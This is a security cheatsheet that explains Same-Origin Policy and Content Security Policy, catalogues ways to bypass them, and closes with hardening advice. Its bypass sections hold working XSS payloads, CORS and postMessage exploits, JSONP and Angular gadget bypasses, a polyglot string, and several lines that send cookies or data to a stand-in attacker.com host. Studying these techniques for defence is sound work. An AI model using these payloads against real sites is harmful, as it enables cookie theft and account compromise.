Introduction
Content Security Policy (CSP) and Same-Origin Policy (SOP) are critical web security mechanisms designed to prevent various attacks including Cross-Site Scripting (XSS) and data theft. This cheatsheet covers their functionality and techniques to bypass these protections.
Same-Origin Policy (SOP)
Overview
Same-Origin Policy is a security mechanism that restricts how documents or scripts from one origin can interact with resources from another origin. An origin is defined by the scheme (protocol), host (domain), and port of a URL.
Same-Origin Definition
Two URLs have the same origin if they have identical schemes, hosts, and ports:
1
2
3
4
5
| https://example.com/page1.html # Origin: https://example.com
https://example.com/page2.html # Same origin as above
http://example.com # Different origin (different scheme)
https://sub.example.com # Different origin (different host)
https://example.com:8080 # Different origin (different port)
|
SOP Restrictions
- JavaScript: Cannot access DOM methods and properties across origins
- Cookies: Cannot access cookies from different origins
- AJAX: Cannot make cross-origin requests without CORS headers
- LocalStorage/IndexedDB: Cannot access storage across origins
SOP Exceptions
<script>
, <img>
, <link>
, <video>
, <audio>
tags can load cross-origin resources<iframe>
can display cross-origin content (but cannot access it)- CORS (Cross-Origin Resource Sharing) allows controlled cross-origin requests
Content Security Policy (CSP)
Overview
Content Security Policy is an added layer of security that helps detect and mitigate XSS and data injection attacks. It specifies which dynamic resources are allowed to load.
Common CSP Directives
Directive | Description | Example |
---|
default-src | Default fallback for all resource types | default-src 'self' |
script-src | Controls JavaScript sources | script-src 'self' https://trusted.com |
style-src | Controls CSS sources | style-src 'self' https://cdn.com |
img-src | Controls image sources | img-src 'self' data: |
connect-src | Controls fetch, XHR, WebSocket | connect-src 'self' |
frame-src | Controls sources for frames | frame-src 'none' |
font-src | Controls font sources | font-src 'self' https://fonts.com |
object-src | Controls Flash and other plugins | object-src 'none' |
base-uri | Controls allowed URLs in <base> | base-uri 'self' |
form-action | Controls URLs for form submissions | form-action 'self' |
frame-ancestors | Controls who can embed the page | frame-ancestors 'none' |
report-uri | Where to send violation reports | report-uri /csp-report |
upgrade-insecure-requests | Upgrades HTTP to HTTPS | upgrade-insecure-requests |
CSP Source Values
Value | Description | Security Level |
---|
'none' | Allows nothing | Highest |
'self' | Allows resources from same origin | High |
'unsafe-inline' | Allows inline scripts/styles | Low |
'unsafe-eval' | Allows eval() and similar | Low |
'nonce-{random}' | Allows resources with specific nonce | Medium-High |
'sha256-{hash}' | Allows resources matching hash | Medium-High |
https://example.com | Allows resources from specific domain | Medium |
*.example.com | Allows resources from subdomains | Medium-Low |
data: | Allows data: URIs | Low |
https: | Allows any HTTPS URL | Very Low |
* | Allows anything | None |
CSP Implementation
1
2
3
4
5
| <!-- Via HTTP Header -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; style-src 'self';
<!-- Via Meta Tag -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.com; style-src 'self';">
|
Report-Only Mode
1
| Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violation-report;
|
Bypassing Same-Origin Policy
CORS Misconfigurations
Permissive CORS
1
2
| Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # This is problematic with wildcard
|
Origin Reflection
1
2
3
4
5
6
| # Request
Origin: https://attacker.com
# Response
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
|
Null Origin Bypass
1
2
3
4
5
6
| # Request
Origin: null
# Response (vulnerable)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
|
JSONP Exploitation
1
2
3
4
| // Vulnerable JSONP endpoint
<script src="https://victim.com/api/user?callback=alert"></script>
// The server returns: alert({user_data})
|
PostMessage Vulnerabilities
Missing Origin Check
1
2
3
4
5
6
7
8
9
10
11
12
13
| // Vulnerable receiver
window.addEventListener('message', function(event) {
// No origin check
document.getElementById('output').innerHTML = event.data;
});
// Exploiting from attacker.com
<script>
const victimWindow = window.open('https://victim.com');
setTimeout(() => {
victimWindow.postMessage('<img src=x onerror=alert(document.domain)>', '*');
}, 2000);
</script>
|
DNS Rebinding
- Attacker controls
attacker.com
with short TTL - Victim visits
attacker.com
(resolves to attacker’s server) - Attacker’s page makes requests to
attacker.com/api
- DNS record changes to point to
127.0.0.1
or target IP - Subsequent requests go to internal target but same-origin policy allows it
Bypassing Content Security Policy
Missing Directives
1
2
| # Missing object-src allows embedding Flash objects
Content-Security-Policy: default-src 'self'; script-src 'self';
|
Insecure Fallbacks
1
2
| # default-src allows everything via https
Content-Security-Policy: default-src https:; script-src 'self';
|
Unsafe Inline Bypasses
Exploiting ‘unsafe-inline’
1
2
3
| <!-- When CSP includes: script-src 'unsafe-inline' -->
<script>alert(document.domain)</script>
<img src=x onerror="alert(document.domain)">
|
Exploiting ‘unsafe-eval’
1
2
3
4
5
| // When CSP includes: script-src 'unsafe-eval'
eval("alert(document.domain)");
setTimeout("alert(document.domain)");
setInterval("alert(document.domain)");
new Function("alert(document.domain)")();
|
Bypass via Whitelisted Domains
JSONP Endpoints
1
2
| <!-- When trusted.com is in script-src -->
<script src="https://trusted.com/jsonp?callback=alert(document.domain)//"></script>
|
Script Gadgets
1
2
3
| <!-- When trusted.com hosts Angular -->
<script src="https://trusted.com/angular.js"></script>
<div ng-app>{{ constructor.constructor('alert(document.domain)')() }}</div>
|
CDN Abuse
1
2
3
4
5
6
7
8
| <!-- When cdnjs.cloudflare.com is in script-src -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></script>
<div ng-app ng-csp>
{{ x = $on.curry.call().eval('fetch("https://attacker.com", {credentials: "include"})') }}
</div>
|
Vulnerable Libraries
1
2
3
4
5
| <!-- When jQuery is allowed from a CDN -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<script>
$.getScript("data:text/javascript,alert(document.domain)")
</script>
|
DOM-Based CSP Bypasses
JSONP via DOM
1
2
3
4
| // When script-src includes trusted.com
var script = document.createElement('script');
script.src = "https://trusted.com/jsonp?callback=alert(document.domain)";
document.body.appendChild(script);
|
DOM XSS in Whitelisted Scripts
1
2
| // If the whitelisted script has a vulnerability
location.href = 'javascript:alert(document.domain)';
|
Nonce-Based CSP Bypasses
Nonce Reuse
1
2
3
4
5
6
7
8
9
10
11
| <!-- When CSP includes: script-src 'nonce-r4nd0m' -->
<script nonce="r4nd0m">
// Extract the nonce
var nonce = document.querySelector('script').nonce;
// Create a new script with the same nonce
var script = document.createElement('script');
script.nonce = nonce; // Reuse the nonce
script.textContent = "alert(document.domain)";
document.body.appendChild(script);
</script>
|
XSS via Script Injection with Nonce
1
2
| // If you can inject into the page's HTML generation
<script nonce="r4nd0m">alert(document.domain)</script>
|
Hash-Based CSP Bypasses
Script Injection Matching Hash
1
2
| // If CSP includes: script-src 'sha256-hash_value_here'
// You need to inject exactly the script that matches that hash
|
Browser Bugs and Quirks
Safari Short Circuit
1
| Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abcdef'
|
In older Safari versions, ‘strict-dynamic’ was ignored, allowing normal CSP bypass.
Edge Legacy Treatment of ‘unsafe-hashes’
Edge had inconsistencies in how it implemented ‘unsafe-hashes’, allowing bypasses in some cases.
Browser Parsing Inconsistencies
1
| Content-Security-Policy: script-src 'self'; object-src 'none';, script-src 'unsafe-inline'
|
Some browsers would parse the second script-src directive, allowing inline scripts.
Special Techniques
Data Exfiltration via CSS
1
2
3
4
| <!-- When style-src includes 'unsafe-inline' -->
<style>
@import url(https://attacker.com/?data='+document.cookie);
</style>
|
iframes for Sandbox Escape
1
2
| <!-- When frame-src is not restricted -->
<iframe src="data:text/html,<script>top.postMessage(document.cookie, '*')</script>"></iframe>
|
Polyglot XSS
1
| javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
Advanced CSP Bypass Examples
Base-URI Bypass
1
2
3
| <!-- When base-uri is missing -->
<base href="https://attacker.com/">
<script src="/malicious.js"></script> <!-- Loads from attacker.com -->
|
1
2
3
4
5
6
| <!-- When form-action is missing -->
<form action="https://attacker.com/log">
<input name="stolen" value="data">
<input type="submit" id="submit">
</form>
<script>document.getElementById("submit").click()</script>
|
Iframe Sandboxing Escape
1
2
| <!-- When sandbox allows scripts and forms -->
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,<script>fetch('https://attacker.com', {credentials: 'include'})</script>"></iframe>
|
Exploiting JSONP for Data Exfiltration
1
2
3
4
5
6
7
8
| // When a trusted domain has JSONP
function steal(data) {
fetch('https://attacker.com/log?data=' + encodeURIComponent(JSON.stringify(data)));
}
var script = document.createElement('script');
script.src = "https://trusted-site.com/api/user?callback=steal";
document.body.appendChild(script);
|
Mitigation & Best Practices
Strong CSP Configuration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{random_value}';
style-src 'self';
img-src 'self';
font-src 'self';
connect-src 'self';
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
report-uri https://csp-report-collector.example.com/collector
|
SOP Hardening
- Implement proper CORS headers
- Use SameSite cookies:
Set-Cookie: session=123; SameSite=Strict; Secure
- Validate state in cross-origin communications
- Use anti-CSRF tokens
- Implement proper X-Frame-Options:
X-Frame-Options: DENY
Development Practices
- Avoid inline scripts/styles - Move all code to external files
- Implement nonce-based CSP - Generate random nonces for each page load
- Use strict CSP - Start with ‘none’ and add only what’s needed
- Monitor violations - Use report-uri to track potential attacks
- Regular security audit - Check for new vulnerabilities in allowed domains
- Reduce trusted domains - Minimize your script-src whitelist
- Host your own scripts - Avoid CDN risks where possible
- Use Subresource Integrity -
<script src="..." integrity="sha384-..."></script>
- Consider CSP Level 3 features - Like ‘strict-dynamic’
References
- OWASP Content Security Policy Cheat Sheet
- Content Security Policy Reference
- CSP Evaluator Tool
- MDN Same-Origin Policy
- Google CSP Bypass Research
- PortSwigger XSS Cheat Sheet
- CSP Is Dead, Long Live CSP! - OWASP AppSec EU 2016